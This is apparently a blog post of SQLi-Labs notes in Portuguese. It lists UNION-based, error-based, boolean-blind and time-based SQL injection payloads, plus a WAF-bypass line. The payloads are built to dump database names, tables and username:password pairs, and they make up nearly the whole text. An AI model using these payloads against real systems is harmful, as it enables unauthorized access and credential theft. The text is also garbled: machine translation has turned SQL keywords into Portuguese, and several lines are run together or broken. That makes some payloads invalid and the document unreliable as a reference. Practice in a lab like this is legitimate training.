Abaixo está o seu conteúdo exatamente como fornecido, apenas com títulos claros e formatação limpa.
Abaixo está o seu conteúdo exatamente como fornecido, apenas com títulos claros e formatação limpa.Sem revisão, sem pular, sem explicação extra adicionada.—SQLi Labs – Notas completas de carga útil (formatadas)—MENOS 1, MENOS 2, MENOS 3 (injeção SQL baseada em UNION)Etapa 1: Encontrar contagem de colunas (aumentar até erro)’ ordenar por 1– ‘ ordenar por 2– ‘ ordenar por 3– ‘ ordenar por 9– ← geralmente erros por aquiEtapa 2: Teste UNION básico (suponha que 3 colunas sejam visíveis)’-1 union select 1,2,3–Etapa 3: Cargas úteis mais úteis (substitua 2 pela posição da coluna visível)’-1 union select 1,database(),3–‘-1 union select 1,user(),3–‘-1 union select 1,version(),3–Etapa 4: Tables’-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()–Etapa 5: Colunas de users’-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name=’users’–Etapa 6: Dump Everything (Best One)’-1 union select 1,group_concat(username,0x3a,password),3 from users–Etapa 7: Uma linha por vez (quando muitos usuários)’-1 union select 1,concat(username,0x3a,password),3 from users limit 0,1–‘-1 union select 1,concat(username,0x3a,password),3 from users limit 1,1–Alternate Syntax Variations”-1 union select 1,2,3– ← aspas duplas’)-1 seleção de união 1,2,3– ← parênteses de fechamento (Menos-3, Menos-4)’))-1 seleção de união 1,2,3– ← fechamento duplo (alguns níveis)—MENOS 5, MENOS 6, MENOS 7, MENOS 8 (injeção SQL baseada em erros)Ordem de prioridade para SQLi-Labs Baseado em erros (2024–2025)1. 1′ e updatexml(1,concat(0x7e,(select database()),0x7e),1)–+2. updatexml(1,concat(0x7e,version(),0x7e),1)–+4. 1′ and extractvalue(1,concat(0x7e,(select database()),0x7e))–+5. 1′)) and updatexml(1,concat(0x7e,database(),0x7e),1)–+ ← tente isso quando #1 falhar6. updatexml(1,concat(0x7e,database(),0x7e),1)–+ ← variante de aspas duplas—Usando updatexml()1. Verificação de injeção1′ e 1=updatexml(1,concat(0x7e,versão(),0x7e),1)–2. Banco de dados atual1′ e 1=updatexml(1,concat(0x7e,database(),0x7e),1)–3. Todas as tabelas no DB1 atual’ e 1=updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)–4. Colunas de usuários Tabela1′ e 1=updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name=’users’),0x7e),1)–5. Todos os nomes de usuário1′ e 1=updatexml(1,concat(0x7e,(selecione group_concat(nome de usuário) dos usuários),0x7e),1)–6. Todas as senhas1′ e 1=updatexml(1,concat(0x7e,(selecione group_concat(senha) dos usuários),0x7e),1)–7. Primeiro usuário (nome de usuário:senha)1′ e 1=updatexml(1,concat(0x7e,(selecione concat(nome de usuário,0x3a,senha) do limite de usuários 0,1),0x7e),1)—–Usando extractvalue()1. Verificação de injeção1′ e extractvalue(1,concat(0x7e,version(),0x7e))–2. Banco de dados atual1′ e extractvalue(1,concat(0x7e,database(),0x7e))–3. Todas as tabelas no DB1 atual’ e extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e))–4. Colunas de usuários Table1′ e extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name=’users’),0x7e))–5. Todos os nomes de usuário1′ e extractvalue(1,concat(0x7e,(selecione group_concat(nome de usuário) dos usuários),0x7e))–6. Todas as senhas1′ e extractvalue(1,concat(0x7e,(selecione group_concat(senha) dos usuários),0x7e))–7. Dump First User1′ e extractvalue(1,concat(0x7e,(select concat(username,0x3a,password) do limite de usuários 0,1),0x7e))–8. Segundo usuário1′ e extractvalue(1,concat(0x7e,(select concat(username,0x3a,password) from users limit 1,1),0x7e))—–LESS 8, 9, 10, 11, 12, 13 (SQLi cego baseado em booleano)1. Básico Verdadeiro/Falso Teste1′ e 1=1 — → deve ser página normal1′ e 1=2 — → deve estar em branco/diferente2. Nome do banco de dados Length1′ e length(database())=8 — → true para ‘security’3. Nome do banco de dados (Char by Char)1’ e ascii(substr(database(),1,1))=115 — → ‘s’1’ and ascii(substr(database(),2,1))=101 — → ‘e’1’ e ascii(substr(database(),3,1))=99 — → ‘c’… (continue até soletrar “security”)4. Nome da primeira tabela – Primeira letra1’ e ascii(substr((selecione table_name de information_schema.tables onde table_schema=database() limit 0,1),1,1))=117 — → ‘u’ (usuários)5. Nome de usuário do primeiro usuário – Primeira letra1′ e ascii(substr((selecione o nome de usuário do limite de usuários 0,1),1,1))=68 — → ‘D’ (Dumb)6. Senha do primeiro usuário – primeiro caractere1′ e ascii(substr((selecione a senha do limite de usuários 0,1),1,1))=48 — → ‘0’7. Correspondência mais rápida (Substring)1′ e substr((select database()),1,8)=’security’ —–Verificações booleanas diretas1′ e database()=’security’ –1′ e substr(database(),1,1)=’s’ –1′ e (selecione contagem<123 -- true1' and ascii(substr(database(),1,1))>de information_schema.tables onde table_schema=database())=4 –1′ e substr((selecione o nome de usuário do limite de usuários 0,1),1,4)=’Dumb’ –1′ e substr((selecione a senha do limite de usuários 0,1),1,1)=’0′ –Quote & Parenthesis Variants” e 1=1 –‘) e 1=1 –‘)) e 1=1 —–Mais rápido, mas Não-Reliable1′ e banco de dados()=’segurança’ –1′ e substr((select table_name from information_schema.tables limit 0,1),1,5)=’users’ —–Classic Method1′ and ascii(substr(database(),1,1))=115 —–Técnica de pesquisa binária1′ e ascii(substr(database(),1,1))>96 — true1′ e ascii(substr(banco de dados(),1,1))<120 -- true1' and ascii(substr(database(),1,1))=115 -- true → 's'---WAF Bypass1' and elt(1,substr(database(),1,1))='s' -----Time-Based Blind SQL Injection1. Basic Delay Test1' and sleep(5)--2. Conditional Delay1' and if(1=1,sleep(5),0)--1' and if(1=2,sleep(5),0)-- → should be fast3. Database Name Length1' and if(length(database())=8,sleep(5),0)-- → 'security'4. Database Char by Char1' and if(ascii(substr(database(),1,1))=115,sleep(5),0)-- → 's'1' and if(ascii(substr(database(),2,1))=101,sleep(5),0)-- → 'e'... continue until you get "security"5. First Username Char by Char1' and if(ascii(substr((select username from users limit 0,1),1,1))=68,sleep(5),0)-- → 'D'6. First Password Char by Char1' and if(ascii(substr((select password from users limit 0,1),1,1))=48,sleep(5),0)--7. BENCHMARK Alternative1' and if(ascii(substr(database(),1,1))=115,benchmark(5000000,md5(1)),0)--Range Checks1' and if(ascii(substr(database(),1,1))>112 — true1′ e ascii(substr(banco de dados(),1,1))96,sleep(5),0)– → true1′ e if(ascii(substr(database(),1,1))<123,sleep(5),0)-- → true
Publicado: 2025-12-23 15:41:00
fonte: medium.com








